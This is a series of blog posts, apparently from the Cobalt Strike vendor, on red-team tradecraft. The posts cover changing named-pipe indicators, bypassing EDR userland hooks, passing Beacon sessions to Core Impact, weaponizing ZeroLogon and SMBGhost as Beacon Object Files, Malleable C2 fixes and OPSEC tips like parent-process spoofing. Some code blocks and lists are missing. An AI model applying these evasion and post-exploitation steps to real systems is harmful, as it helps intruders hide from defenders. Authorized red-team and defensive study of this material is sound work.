Named pipes are a method of inter-process communication in Windows. They’re used primarily for local processes to communicate with eachother. They can also facilitate communication between two processes on separate hosts. This traffic is encapsulated in the Microsoft SMB Protocol. If you ever hear someone refer to a named pipe transport as an SMB channel, this is why.
Cobalt Strike uses named pipes in several of its features. In this post, I’ll walk you through where Cobalt Strike uses named pipes, what the default pipename is, and how to change it. I’ll also share some tips to avoid named pipes in your Cobalt Strike attack chain too.
Where does Cobalt Strike use named pipes?
Cobalt Strike’s default Artifact Kit EXEs and DLLs use named pipes to launder shellcode in a way that defeats antivirus binary emulation circa 2014. It’s still the default. When you see \\.\pipe\MSSE-###-server that’s likely the default Cobalt Strike Artifact Kit binaries. You can change this via the Artifact Kit. Look at src-common/bypass-pipe.c in the Artifact Kit to see the implementation.
Cobalt Strike also uses named pipes for its payload staging in the jump psexec_psh module for lateral movement. This pipename is \\.\pipe\status_##. You can change the pipe via Malleable C2 (set pipename_stager).
Cobalt Strike uses named pipes in its SMB Beacon communication. The product has had this feature since 2013. It’s pretty cool. You can change the pipename via your profile and when you configure an SMB Beacon payload. I’m also aware of a few detections that target the content of the SMB Beacon feature too. The SMB Beacon uses a [length][data] pattern and these IOCs target predictable [length] values at the beginning of the traffic. The smb_frame_header Malleable C2 option pushes back on this. The default pipe is \\[target]\pipe\msagent_##.
Cobalt Strike uses named pipes for its SSH sessions to chain to a parent Beacon. The SSH client in Cobalt Strike is essentially an SMB Beacon as far as Cobalt Strike is concerned. You can change the pipename (as of 4.2) by setting ssh_pipename in your profile. The default name of this pipe (CS 4.2 and later) is \\.\pipe\postex_ssh_####.
Cobalt Strike uses named pipes for most of its post-exploitation jobs. We use named pipes for post-ex tools that inject into an explicit process (screenshot, keylog). Our fork&run tools largely use named pipes to communicate results back to Beacon too. F-Secure’s Detecting Cobalt Strike Default Modules via Named Pipe Analysis discusses this aspect of Cobalt Strike’s named pipes. We introduced the ability to change these pipenames in Cobalt Strike 4.2. Set post-ex -> pipename in your Malleable C2 profile. The default name for these pipes is \\.\pipe\postex_#### in Cobalt Strike 4.2 and later. Prior to 4.2, the default name was random-ish.
Pipe Fitting with Cobalt Strike
With the above, you’re now armed with knowledge of where Cobalt Strike uses named pipes. You’re also empowered to change their default names too. If you’re looking for a candidate pipename, use ls \\.\pipe from Beacon to quickly see a list of named pipes on a lived-in Windows system. This will give you plenty to choose from. Also, when you set your plausible pipe names, be aware that each # character is replaced with a random character (0-9a-f) as well. And, one last tip: you can specify a comma-separated list of candidate pipe names in your ssh_pipename and post-ex -> pipename profile values. Cobalt Strike will pick from this list, at random, when one of these values is needed.
Simplify your Offense Plumbing
Cobalt Strike uses named pipes in several parts of its offense chain. These are largely optional though and you can avoid them with some care. For example, the default Artifact Kit uses named pipes; but this is not a requirement of the Artifact Kit. Our other Artifact Kit templates do not use named pipes. For lateral movement and peer-to-peer chaining of Beacons, the TCP Beacon is an option. To avoid named pipes from our SSH sessions, tunnel an external SSH client via a SOCKS proxy pivot. And, while a lot of our fork&run post-exploitation DLLs use named pipes for results, Beacon Object Files are another way to build and run post-exploitation tools on top of Beacon. The Beacon Object Files mechanism does not use named pipes.
This post focused on named pipe names, but the concepts here apply to the rest of Cobalt Strike as well. In offense, knowing your IOCs and how to change or avoid them is key to success. Our goal with Cobalt Strike isn’t amazing and ever-changing default pipe names or IOCs. Our goal is flexibility. Our current and future work is to give you more control over your attack chain over time. To know today’s options, read Kits, Profiles, and Scripts… Oh my! This blog post summarizes ways to customize Cobalt Strike. Our late-2019 Red Team Operations with Cobalt Strike mixes these ideas into each lecture as well.
When I think about defense in the current era, I think of it as a game of instrumentation and telemetry. A well-instrumented endpoint provides a defense team and an automated security solution with the potential to react to or have visibility into a lot of events on a system. I say a lot, because certainly some actions are not easy to see [or practical to work with] via today’s instrumentation methods.
A popular method to instrument Windows endpoints is userland hooking. The process for this instrumentation looks like this:
(a) load a security product DLL into the process space [on process start, before the process starts to do anything]
(b) from the product DLL: installs hooks into certain APIs of interest. There are a lot of different ways to hook, but one of the most common is to patch the first instructions in a function-of-interest to jump to the vendor’s code, do the analysis, execute the patched over instructions, and resume the function just after the patch.
This method of instrumentation is popular because it’s easy-ish to implement, well understood, and was best practice in security products for a very long time. It’s still common in a lot of security technologies today.
The downside of the above instrumentation method is that it’s also suscpetible to tamper and attack by an adversary. The adversary’s code that lives in a process has the same rights and ability to examine and change code as the security product that installed itself there.
The above possibility is the impetus for this blog post. I’d like to walk you through a few strategies to subvert instrumentation implemented as userland hooks with the Cobalt Strike product.
Which products use hooks and what do they hook?
Each of these techniques does benefit from awareness of the endpoint security products in play and how [also, if] they use userland hooks to have visibility. Devisha Rochlani did a lot of work to survey different products and document their hooks. Read the Anti-virus Artifacts papers for more on this.
To do target-specific leg work, consult Matt Hand’sAdventures in Dynamic Evasion. Matt discusses how to identify hooks in a customer’s environment right now and use that information to programatically craft a tailored evasion strategy.
Avoid Hooks with Direct System Calls
One way to defeat userland hooks is to avoid them by making system calls directly from our code.
A direct syscall is made by populating registers with arguments and a syscall number that corresponds to an API exposed to userland by the operating system kernel. The system call is then invoked with the syscall instruction. NTDLL is largely thin wrappers around these kernel APIs and is a place some products insert their hooks. By making syscalls directly from our code, and not calling them via NTDLL (or an API that calls them via NTDLL), we avoid these hooks.
The value of this technique is that we deny a security product visibility into our actions via this means. The downside is we have to adapt our code to working with these APIs specifically.
If a security product isn’t using userland hooks this technique provides no evasion value. If we use system calls for uninteresting (e.g., not hooked) actions–this technique provides no evasion value.
Also, be aware that direct system calls (outside of specific contexts, like NTDLL) can be disabled process-by-process in Windows 10. This is the ProcessSystemCallDisablePolicy. If something can be disabled, I surmise it can also be monitored and used for detection purposes too. This leads to a familiar situation. A technique that provides evasion utility now can also provide detection opportunities later on. This is a trueism with most things offense. Always keep it in mind when deciding whether or not to use a technique like this.
With the above out of the way, what are some opportunities to use system calls from Cobalt Strike’s Beacon?
One option is to use system calls in your EXE and DLL artifacts that run Cobalt Strike’s Beacon. The blog post Implementing Syscalls in the Cobalt Strike Artifact Kit walks through how to do this for Cobalt Strike’s EXEs and DLLs. The post’s author shared that VirtualAlloc, VirtualProtect, and CreateThread are calls some products hook to identify malicious activity. I’d also go further and say that if your artifact spawns a process and injects a payload into it, direct syscalls are a way to hide this behavior from some security stacks.
Building on the above, Alfie Champion used Outflank’s foundation and re-implemented Cobalt Strike’s shinject and shspawn as Beacon Object Files that use direct system calls. This provides a way to do process injection from Cobalt Strike, but evade detections that rely on userland hooks. The only thing that’s missing is some way for scripts to intercept Cobalt Strike’s built-in fork&run actions and override the built-in behaviors with a BOF. Hmmmmm.
Refresh DLLs to Remove Function Hooks
Another way to defeat userland hooks is to find hooks implemented as code patches and restore the functions to their original uninstrumented state. One way to do this is to find hooked DLLs in memory, read the original DLL from disk, and use that content to restore the mapped DLL to its unhooked state. This is DLL refreshing.
The simplest case of DLL refreshing is to act on NTDLL. NTDLL is a good candidate, because its really easy to refresh. You don’t have to worry about relocations and alternate API sets. NTDLL is also a good candidate because it’s a target for security product hooks! The NTDLL functions are often the lowest-level API that other Windows APIs call from userland. A well-placed hook in NTDLL will grant visibility into all of the userland APIs that use it.
If NTDLL is not enough, you can refresh all of the DLLs in your current process. This path has more peril though. The DLL refreshing implementation needs to account for relocations, apisets, and other stuff that makes the unhooked code on disk differ from the unhooked code in memory. Jeff Tang from Cylance’s Red Team undertook this daunting task in 2017 and released their Universal Unhooker (whitepaper).
Both of these techniques are great options to clean your Beacon process space before you start into other offense activities.
While the above are Beacon Object Files and presume that your Beacon is already loaded, you may also find it’s worthwhile to implement DLL refreshing in your initial access artifact too. Like direct system calls, this is a way to defeat userland hooking visibility that could affect your agent loading or its initial communications.
Prevent Hooks via Windows Process Mitigations
So far, we’ve discussed ways to defeat hooks by either avoiding them or undoing them. It’s possible to prevent hooking altogether too.
I became interested in this approach, when I learned that Google Chrome takes many steps to prevent security products from loading into its process space. Google was tired of entertaining crash reports from poorly implemented endpoint security products and opted to fight back against this in their own code. I share Google’s concerns about allowing an endpoint security product to share space with my post-exploitation code. My reasons are different, but we’re very much aligned on this cause!
The above led me to experiment with the Windows 10 process mitigation policy, BinarySignaturePolicy. A process run with a BinarySignaturePolicy of MicrosoftSignedOnly will refuse to load any DLL not signed by Microsoft into that process space. This mitigation prevents some security products from loading their DLLs into the new process space.
I opted to use the above to implement blockdlls in Cobalt Strike 3.14. blockdlls is a session prepping command to run processes with this flag set. The idea of blockdlls is processes spawned by Beacon will be free to act with less scrutiny, in some situations.
There are caveats to blockdlls. The mitigation is a recent-ish Windows 10 addition. It doesn’t work on versions of Windows where this mitigation isn’t implemented. Duh! And, security vendors do have the option to get Microsoft to sign their DLLs via an attestation service offered by Microsoft. A few made this exact move after Cobalt Strike weaponized this mitigation in version 3.14.
Like direct system calls, I see the use of process mitigations as an evasion that is also potentially its own tell. Be aware of this tradeoff. Also, like direct system calls, this is an option that has use both during post-exploitation and in an initial access artifact. Any initial access artifact that performs migration (again, Cobalt Strike’s service executables do this) could benefit from this approach in some security stacks too.
And, there you have it. This blog posted presented a few different techniques to defeat userland hooks with Cobalt Strike. Better, each of these techniques delivers benefit at different places in Cobalt Strike’s engagement cycle.
Be aware that each of these methods is beneficial in very specific circumstances. None of the above will have impact against technologies that do not use userland hooks for instrumentation. Offense is always about trade-offs. Knowing the techniques available to you and knowing their trade-offs will help you assess your situation and decide the best way forward. This is key to good security testing engagements.
Core Impact 20.3 has shipped this week. With this release, we’re revealing patterns for interoperability between Core Impact and Cobalt Strike. In this post, I’ll walk you through these patterns and provide advice on how to get benefit using Cobalt Strike and Core Impact together.
A Red Team Operator’s Introduction to Core Impact
Prior to jumping into the patterns, I’d like to introduce you to Core Impact with my voice. Core Impact is a commercial penetration testing tool and exploit framework that has had continuous development since 1998.
Impact is a collection of remote, local, and client-side attacks for public vulnerabilities and other common offense actions. We implement [with special attention to QA] our own exploits as well. While we announce 2-3 product updates per year, we push new modules and module updates in between releases too.
Impact is also a collection of post-exploitation agents for Windows, Linux, other *NIX flavors (to include OS X), and Cisco IOS. While Windows has the most features and best support, our *NIX agents are robust and useful. The pivoting model and interface for these platforms is largely unified. The Impact agent is one of my favorite parts of the product.
Core Impact also has a graphical user interface to bring all of these things together. It’s quirky and does have a learning curve. But, once you grok the ideas behind it, the product clicks and it is thought out.
While Core Impact was long-marketed as a vulnerability verification tool [notice: I’m not mentioning the automation], it’s clear to me that the product was architected by hackers. This hacker side of Core Impact is what I’d like to show you in this video walk-through:
Core Impact 20.3 includes a Run shellcode in temporary process module to support session passing. This module spawns a temporary process and injects the contents of the specified file into it. The module does support spawning code x86 -> x86, x64 -> x64, and x64 -> x86.
To pass a session from Core Impact to Cobalt Strike:
1. Go to Attacks -> Packages -> Windows EXE (S)
2. Press … to choose your listener
3. Change Output to raw
4. Check x64 if you wish to export an x64 payload.
5. Press Generate and save the file
1. Right-click on the desired agent and click Set as Source
2. Find the Run shellcode in temporary process module and double-click it.
3. Set ARCHITECTURE to x86-64 if you exported an x64 payload
4. Set FILENAME to the file generated by Cobalt Strike
5. Press OK
This pattern is a great way to spawn Cobalt Strike’s Beacon after a successful remote or privilege escalation exploit with Core Impact.
Session Passing from Cobalt Strike to Core Impact
You can also spawn a Core Impact agent from Cobalt Strike too. If Core Impact and Cobalt Strike can reach the same network, this pattern is a light way to turn an access obtained with Beacon (e.g., via phishing, lateral movement, etc.) into an Impact agent.
1. Find the Package and Register Agent module and double-click it.
2. Change ARCHITECTURE to x86-64 if you’d like to export an x64 agent
3. Change BINARY TYPE to raw
4. Change TARGET FILE to where you would like to save the file
5. Expand Agent Connection
6. Change CONNECTION METHOD and PORT to fit your preference. I find the Connect from target (reverse TCP connection) is the most performant.
1. Interact with a Beacon
2. Type shspawn x64 if you exported an x64 agent. Type shspawn x86 if you exported an x86 agent.
3. Find the file that you exported.
4. Press Open.
In a few moments, you should hear that famous New Agent Deployed wav.
Tunnel Core Impact exploits through Cobalt Strike
Core Impact has an interesting offensive model. Its exploits and scans do not originate from your Core Impact GUI. The entire framework is architected to delegate offense activity through a source agent. The currently selected source agent also acts as a controller to receive connections from reverse agents [or to connect to and establish control of bind agents]. In this model, the offense process is: start with local agent, find and exploit target, set new agent as source agent, find and exploit newly visible targets, repeat until satisfied.
As the agent is the main offense actor in Core Impact, tunneling Core Impact exploits is best accomplished by tunneling the Core Impact agent through Cobalt Strike’s Beacon.
Cobalt Strike 4.2 introduced the spunnel command to spawn Core Impact’s Windows agent in a temporary process and create a localhost-only reverse port forward for it. Here are the steps to tunnel Core Impact’s agent with spunnel:
1. Click the Modules tab in the Core Impact user interface
2. Search for Package and Register Agent
3. Double-click this module
4. Change Platform to Windows
5. Change Architecture to x86-64
6. Change Binary Type to raw
7. Click Target File and press … to decide where to save the output.
8. Go to Agent Connection
9. Change Connection Method to Connect from Target
10. Change Connect Back Hostname to 127.0.0.1
11. Change Port to some value (e.g., 9000) and remember it.
12. Press OK.
1. Interact with a Beacon
2. Type spunnel x64 [impact IP address] 9000 and press enter.
3. Find the file that you exported.
4. Press Open.
This similar to passing a session from Cobalt Strike to Core Impact. The difference here is the Impact agent’s traffic is tunneled through Cobalt Strike’s Beacon payload.
What happens when Cobalt Strike’s team server is on the internet and Core Impact is on a local Windows virtual machine? We have a pattern for this too. Run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. Connect this Cobalt Strike client to your team server. In this setup, run spunnel_local x64 127.0.0.1 9000 to spawn and tunnel the Impact agent through Beacon. The spunnel_local command is like spunnel, with the difference that it routes the agent traffic from Beacon to the team server and onwards through your Cobalt Strike client. The spunnel_local command was designed for this exact situation.
Next step: Request a trial
The above options are our patterns for interoperability between Core Impact and Cobalt Strike.
I spent a little time looking into Saleforce’s JARM tool released in November. JARM is an active tool to probe the TLS/SSL stack of a listening internet application and generate a hash that’s unique to that specific TLS/SSL stack.
One of the initial JARM fingerprints of interest relates to Cobalt Strike. The value associated with Cobalt Strike is:
Interesting! This fingerprint does not match the supposed Cobalt Strike fingerprint. Does this mean we’re done? No.
The current popular use of JARM is to fingerprint web server applications listening on port 443. This implies that these servers have a certificate associated with their TLS communications. Does this change the above JARM fingerprint? Let’s setup an experiment to find out.
I generated a Java keystore with a self-signed certificate and I directed my simple server to use it:
Interesting. We’ve validated that the above JARM fingerprint is specific to a Java 11 TLS stack.
Another question: is the JARM fingerprint affected by Java version? I setup several experiments and validated that yes, different major Java versions have different JARM fingerprints in the above circumstance.
How many Java-native Web servers are on the internet?
Part of the value of JARM is to turn the internet haystack into something smaller for an analyst to sift through. I wanted to get a sense of how much Java is on the internet. Fortunately, this analysis was easy thanks to some timely and available data. Silas Cutler had scanned the internet for port 443 and obtained JARM values for each of these hosts. This data was made available as an SQLite database too. Counting through this data was a relatively easy exercise of:
sqlite> .open jarm.sqlite sqlite> select COUNT(ip) FROM jarm WHERE hash = “[hash here]”;
I went a slight step further with this data. I opted to convert the Java 11.05 data to hostnames and eyeball what appeared as interesting. I found several mail servers. I did not investigate which application they are. I found an instance of Burp Intruder (corroborating Salesforce’s blog post). I also found several instances of Oracle Peoplesoft as well. These JARM hashes are a fingerprint for Java applications, in general.
For defenders, I wouldn’t act on a JARM value as proof of application identity alone. For red teamers, this is a good reminder to think about pro-active identification of command and control servers. This is a commoditized threat intelligence practice. If your blue team uses this type of information, there are a lot of options to protect your infrastructure. Part 3 of Red Team Operations with Cobalt Strike covers this topic starting at 1h 26m 15s:
JARM is a pretty cool way to probe a server and learn more about what it’s running. I’d love to see a database of JARM hashes and which applications they map to as a reconaissance tool. The C2 fingerprinting is a neat application of JARM too. It’s a good reminder to keep up on your infrastructure OPSEC.
Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.
A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.
In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.
This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.
Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.
I’ve recorded a demonstration of this attack chain as well:
The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.
A new #mimikatz 🥝release with #zerologon / CVE-2020-1472 detection, exploit, DCSync support and a lots of love inside ❤️
It now uses direct RPC call (fast and supports unauthenticated on Windows)
What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.
What’s neat about this implementation is that it offers two paths to use this exploit. The first path spawns a session and integrates with Beacon’s elevate (elevate smbghost) command. The exploit itself modified our current process’ token, allowing it to do some privileged things from the current context. This first weaponization path uses these semi-enhanced privileges to inject a payload into winlogon.exe.
The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization 🙂 I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.
The collection includes several system reconaissance commands that would normally use Cobalt Strike’s fork&run pattern or require you to spawn an external process to get information. It’s a great example of what BOFs enable in this toolset.
To use the collection, simply clone the repository onto your Cobalt Strike system. Then go to Cobalt Strike -> Scripts in Cobalt Strike. Press Load. And navigate to the SA folder (from this repository) and load SA.cna. You will suddenly have a bunch of new aliases you can use from Beacon.
I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode (14:45 is the start of this discussion) of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!
Many folks take “configure your profile properly” for granted. A profile that passes a c2lint check isn’t guaranteed to work in all circumstances you throw at it. A lot of things can go wrong. For example, the CDN may rewrite your HTTP requests in ways that break your Malleable C2 profile. That’s what this blog post is about…
The profile used by Alex’s script is amazon.profile. I’ve noticed that many red teamers opt to use this profile with their first experiments to use CloudFront as a redirector for Cobalt Strike.
An Amazon Web Service and an Amazon-like profile, what could go wrong? A lot of things can go wrong. 🙂 If you’ve tried this setup, you may have found a console message [on the team server] that looks like this:
This message means Cobalt Strike could not recover information from an HTTP transaction. Some aspect of the HTTP transaction differs from the assumptions provided by your Malleable C2 profile.
Assumption is the key word. Malleable C2 gives operators a lot of power to change what Cobalt Strike’s HTTP communication looks like. Malleable C2 is an example of a declarative programming language. You, the operator, specify what Beacon’s communication should look like. Cobalt Strike figures out how to make that happen. Specifically, Cobalt Strike compiles your specification into two different programs. One program transforms data and stores it in a transaction. The other program recovers data from a transaction and reverses the transformations made to the data. These programs are patched into the Beacon payload and its controller. If the assumptions of these derived programs break, your communication breaks.
When the above happens, it’s helpful to know how to read the output above and use it to troubleshoot your communication.
Our error message states that Malleable C2 could not recover data from the http-get -> client -> metadata transaction. Beacon provides metadata to tell Cobalt Strike about the session. This RSA-encrypted blob includes situational awareness information (e.g., username, PID, hostname, etc.) and a unique key for the session. Without metadata, Cobalt Strike knows nothing about the session. It’s important that this part of the transaction works.
To resolve this issue, it’s our job to figure out how the expectations of the Malleable C2 profile differ from the reality of the HTTP request received by Cobalt Strike.
Where should we look? The right place is to look at the parts of the HTTP transaction relevant to our failed transaction.
Here’s what the .http-get.client.metadata block looks like in the (slightly modified) amazon profile I used with CloudFront:
The metadata block base64 encodes the metadata, prepends two strings to it, appends another string, and it stores the entire thing in the HTTP Cookie header. OK.
And, here’s a screenshot of the preview generated by c2lint:
In troubleshooting this specific issue, we should ask: does the HTTP Cookie header received by Cobalt Strike differ from the HTTP Cookie header Malleable C2 expects. If so, how and why?
Let’s look at the preview Cookie and the received Cookie side-by-side:
Here, the issue becomes a little more obvious. The Cookie received by Cobalt Strike has the same information, but the parts of the Cookie are in a different order. This is a change CloudFront made to our HTTP transaction. This breaks our profile.
Malleable C2 does not know the semantics of the Cookie field. To recover data from this transaction, it knows it must recover the value of the Cookie header, remove some appended strings, remove some prepended strings, and base64 decode what’s left. Any unexpected change (e.g., spaces removed, new strings, re-arranged strings, etc.) breaks this process.
What’s the solution? In this case, we could update the structure of our HTTP Cookie to match what CloudFront will transform it to. This would work just fine. We could also store our metadata in something other than the Cookie header. Either approach is OK.
Note: This metadata block will fail a c2lint check because of the space between ; and skin=noskin. c2lint’s advice is sound, but risk averse. Here, the space is necessary to match what we will receive after passing an HTTP transaction through CloudFront.
This blog post focuses on CloudFront because I’ve answered questions about this circumstance in the past. Profile assumptions can fail for other reasons. For example, if you change a profile mid-engagement, expect to see issues like this one. If your HTTP communication fails, due to broken profile assumptions, these steps can help you diagnose the issue and correct your profile.
What happens when your advantages become a disadvantage? That’s the theme of Fighting the Toolset. This lecture discusses Offensive PowerShell, staging, memory-injected DLLs, and remote process injection as technologies that deliver(ed) a universal advantage to attackers. Today, that’s not always the case. In some contexts, these technologies are the tell that gives you away. In other contexts, they continue to deliver as advertised. This lecture is all about how to adapt when your advantages are your weakness.
Many analysts and automated solutions take advantage of various memory detections to find injected DLLs in memory. Memory detections look at the properties (and content) of processes, threads, and memory to find indicators of malicious activity in the current process.
In-memory Evasion is a four-part mini course on the cat and mouse game related to memory detections. This course is for red teams that want to update their tradecraft in this area. It’s also for blue teams that want to understand the red perspective on these techniques. Why do they work in some situations? How is it possible to work around these heuristics in other cases?
Part 1 of In-memory Evasion introduces Memory Detections. This lecture walks through the observable properties of Processes, Threads, and Memory with Process Hacker. Common heuristics, the in-memory indicators we want to evade, are covered too.
Part 2 of In-memory Evasion goes through A Payload’s Life. This lecture discusses the heuristics in Part 1 and where they interact with actions taken by a representative offense platform (in this case, Cobalt Strike). This lecture makes the case that offense toolsets do strange things, but in some cases, these deviations from normal program behavior are optional.
Part 3 of this course discusses Evasion. General tips to avoid the strange behavior these detections find are discussed. This lecture then gets into the meat: options to configure how Cobalt Strike’s Beacon payload lives in memory are explained and demonstrated. This lecture also shows how to conduct an OPSEC review of your configuration prior to action on a target. Finally, this lecture concludes with a discussion on process context and how it influences the amount of suspect actions/indicators an automated solution will allow.
Part 4 concludes the course with a brief discussion of Threat Emulation. Cobalt Strike’s flexibility in this area is demonstrated to steer an analyst to believe they’re dealing with a specific real-world actor in a simulated incident.
Part 5 is an April 2018 addendum to this course. This video covers the memory-related threat emulation and evasion features in Cobalt Strike 3.11.
I’m a big believer that red teams should know the defenses they work with and know how their tools interact with these defenses. The area of memory detections has developed considerably over the past several years. Whether you’re on the red or blue side, I hope you find this perspective helpful.
Part 9 of Advanced Threat Tactics covers a lot of my thoughts on evasion. The ideas in that lecture are still relevant, the defenses discussed there didn’t go away! That said, there are other defenses and realities offensive operators must contend with today. This blog post discusses some of these and provides tips for adjusting your operations.
I used to describe host evasion as smuggling known bad (your payload and its stager) into memory. The real worry, after that, was egress. If you could get an agent into memory AND establish positive control of it, you were usually safe to operate.
Today, things are a little different. It’s no longer enough to control a process on a target and work. You have to think about the process you live in and the actions acceptable from it. notepad.exe (and for that matter, rundll32.exe) has no business phoning home to some controller on the internet. A savvy operator will hide their Beacon in a browser process or an updater for some application (*cough* jupdate.exe *cough*).
A successful call out doesn’t mean you’re safe. Some defenders watch for malicious infrastructure indicators. How old is that domain you phone home to? Is that site categorized? Have others from this same organization visited that domain? Techniques like domain fronting help here. Beacon, configured to only use HTTP GETs may look less like a C2 channel (especially when used with domain fronting).
Mind Your Processes
Still, a safe channel doesn’t buy you too much. Every process you launch is a risk. Why is cmd.exe a child of firefox.exe? Some defenders have the ability to ask this question. For the operator, the trick is to know your tools. Some commands launch a process. Others don’t. You should favor commands and actions that map to APIs, when possible. If you must launch a process, careful session prepping can help that action blend in.
Session prepping is configuring how Cobalt Strike’s Beacon payload spawns new processes and temporary jobs. Here’s how I session prep:
Use the ps command to understand which programs are running. This command maps to an API.
Use the ppid [pid] command to request that Beacon spoof the specified PID as the parent process for the programs it runs. explorer.exe is a personal favorite.
Use spawnto x86 c:\path\to\program.exe to configure the x86 program Beacon should spawn for its temporary x86 jobs. Many Beacon post-exploitation actions spawn a temporary process, inject a capability into it, retrieve results, and kill the temporary process. spawnto x64 configures the x64 variant of this setting. Pick a plausible program.exe that fits well with your chosen parent process.
These steps do a lot to make your new processes (and post-exploitation jobs) blend in with normal activity.
Avoid Process Injection
The rabbit hole goes deeper though. It’s not enough to work only with APIs. You have to know which APIs are considered unsafe. Process injection stands out as an unsafe action. It’s helpful to know which commands do it and to know their alternatives.
For example, I often inject into a remote process to spawn a payload in another desktop session. An alternative is drop an executable to disk and use runu to run that executable as a child to a process in another desktop session. Same effect, except one depends on remote process injection, the other does not.
Do you absolutely need to run a Beacon command that injects into something? Inject into your current process. Beacon will treat this situation differently from a remote process injection. Beacon knows to use CreateThread instead of CreateRemoteThread (and other similar functions) in these cases.
If you need to discipline yourself to working this way: set the Malleable C2 option create_remote_thread to false. This will disable remote process injection in Beacon. Set hijack_remote_thread to false to disable Beacon’s method of process hollowing for its temporary jobs.
Other dangerous actions include any and all use of PowerShell. Once a major boon for offensive operations, PowerShell is now one of the most well instrumented technologies on the Windows platform (We love you Lee). If you depend on PowerShell for your operations, it’s time to brush up on working without it.
Many Beacon commands that use PowerShell have simpler primitives that don’t rely on it (e.g., spawnas -> runas, spawnu -> runu, etc.).
Some Beacon commands for lateral movement (winrm, wmi, and psexec_psh) use PowerShell too. Don’t don’t limit yourself to these. There are so many options for lateral movement, get creative!
Of course, I rely on a lot of PowerShell scripts to automate various offensive tasks. These same things would work well as .NET assemblies too. Payload developers, such as myself, would do well to embrace the use of .NET assemblies in their platforms.
#PowerShell IMO is too noisy to remain a "living off the land" technique. The new hotness: .NET assembly loading via insecure methods.
All of this assumes you have an agent that safely resides in memory. That’s not a given anymore either. I think of host-based prevention technologies in terms of touchpoints. A traditional anti-virus product might look at my payload when I touch disk or load content in a browser. If I defeat that, I win. Not so today!
Become familiar with the Malleable PE options I’ve added to Cobalt Strike. These, combined with stageless payloads, can land you in memory in a way that’s OPSEC-safe (in some instances).
I also recommend x64 payloads on x64 systems. Functionally, an x86 and x64 Beacon do similar things. In reality, they take different paths to achieve the same results (especially when it comes to things like process injection).
Avoid remote process injection. Process hollowing, in some cases, might be OK. Beacon uses a form of process hollowing for its post-ex jobs that depend on temporary processes.
And, finally, remember… context matters. An unsigned executable may find itself subject to aggressive hooks and heuristics to detect malicious behavior. A signed executable may receive some extra leeway. An executable signed by a trusted entity may get a free pass altogether.
Defenses are evolving and that’s a good thing. As blue TTPs gain ground, it’s on us to adjust our operations and find ways to challenge these TTPs. This is how both sides get better.
Update January 9, 2020 – This topic is now part of the Cobalt Strike documentation. Head over to the Beacon Command Behavior page for the latest version of this information.
A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.
These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.
The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.
Post-Exploitation Jobs (Process Execution + Remote Process Injection)
Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:
OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.
Process Execution: Cmd.exe
The shell command depends on cmd.exe.
The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe. The command pattern to pass this token is an indicator some host-based security products look for.
OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand. Don’t use getsystem. There are other ways to acquire a SYSTEM token.
Process Execution: PowerShell.exe
The following commands launch powershell.exe to perform some task on your behalf.